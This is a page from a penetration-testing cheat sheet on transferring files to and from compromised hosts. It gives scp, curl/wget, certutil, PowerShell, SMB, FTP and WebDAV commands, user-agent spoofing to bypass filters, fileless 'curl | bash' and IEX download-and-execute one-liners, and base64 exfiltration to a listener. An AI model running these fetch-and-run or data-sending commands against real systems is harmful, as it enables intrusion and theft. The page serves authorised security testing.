Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Book
    • My CVE Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Download
  • Upload
  • Fileless
  • Base64

Was this helpful?

  1. Utility
  2. Transferring File

Main

Last updated 7 months ago

Was this helpful?

Via SSH:

scp [-r] <USER>@<IP>:/<REMOTE_FILE> /<TO_LOCAL>
scp [-r] /<LOCAL_FILE> <USER>@<IP>:/<TO_REMOTE>

Download

wget -O <NEW_NAME> <URL_TO_FILE> 
curl -o <NEW_NAME> <URL_TO_FILE>

CMD

certutil -urlcache -f http://<IP>/<FILE> <NEW_NAME>

PowerShell

iwr -uri http://<IP>/<FILE> -Outfile <NEW_NAME> 
Invoke-WebRequest <URL_SOPRA> -OutFile <NAME_FILE>

# Bypass filters that check user-agent 
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest <URL_SOPRA> -UserAgent $UserAgent -OutFile <NAME_FILE>
(New-Object Net.WebClient).DownloadFile('<URL_FILE>','<NEW_NAME>')
(New-Object Net.WebClient).DownloadFileAsync('<URL_FILE>','<NEW_NAME>')

SMB

From .

copy \\<IP>\<PATH>\<FILE> 
net use n: \\<IP>\<PATH>\<FILE> /user:<USER> <PASS>

FTP

From .

(New-Object Net.WebClient).DownloadFile('ftp://<IP>/<FILE>', '<NEW_NAME>')

Upload

Python Server

Set (and self-signed certificate)

curl -X POST https://<IP>/<DIR> -F 'files=@<PATH_FILE1>' -F 'files=@<PATH_FILE2>' --insecure

PowerShell Script

Set (and self-signed certificate). Download .

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://<IP>:<PORT>/<DIR> -File <FILE>

SMB

Set .

copy <FILE> \\<IP>\DavWWWRoot\   # root dir
copy <FILE> \\<IP>\<DIR>\

On the windows host if SMB share is not available it will try to connect using HTTP. For this reason I can also use a .

FTP

Set with --write.

(New-Object Net.WebClient).UploadFile('ftp://<IP>/<NEW_NAME>', '<FILE>')

Fileless

curl <URL>/<FILE_BASH.sh> | bash
wget -qO- <URL>/<FILE_PYHTON.py> | python3
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/<FILE>') 
(New-Object Net.WebClient).DownloadString('http://<IP>/<FILE>') | IEX

Base64

It does not work with strings that are too long.

From File to Base64:

base64 <FILE> -w 0

From Base64 to File:

echo -n <BASE64> | base64 -d > <NAME>

Verify Hash MD5:

md5sum <FILE>

From File to Base64:

[Convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))

From Base64 to File:

[IO.File]::WriteAllBytes("C:\<FILE>", [Convert]::FromBase64String("<BASE64>"))

Verify Hash MD5:

Get-FileHash "<FILE>" -Algorithm MD5 | select Hash

Send Base64 to netcat listener over POST request:

$b64 = [System.convert]::ToBase64String((Get-Content -Path '<FILE>' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:<PORT>/ -Method POST -Body $b64
PSUpload.ps1
server SMB
server FTP
Server Python3 with Upload Option
Server Python3 with Upload Option
SMB Server
WebDav server
FTP server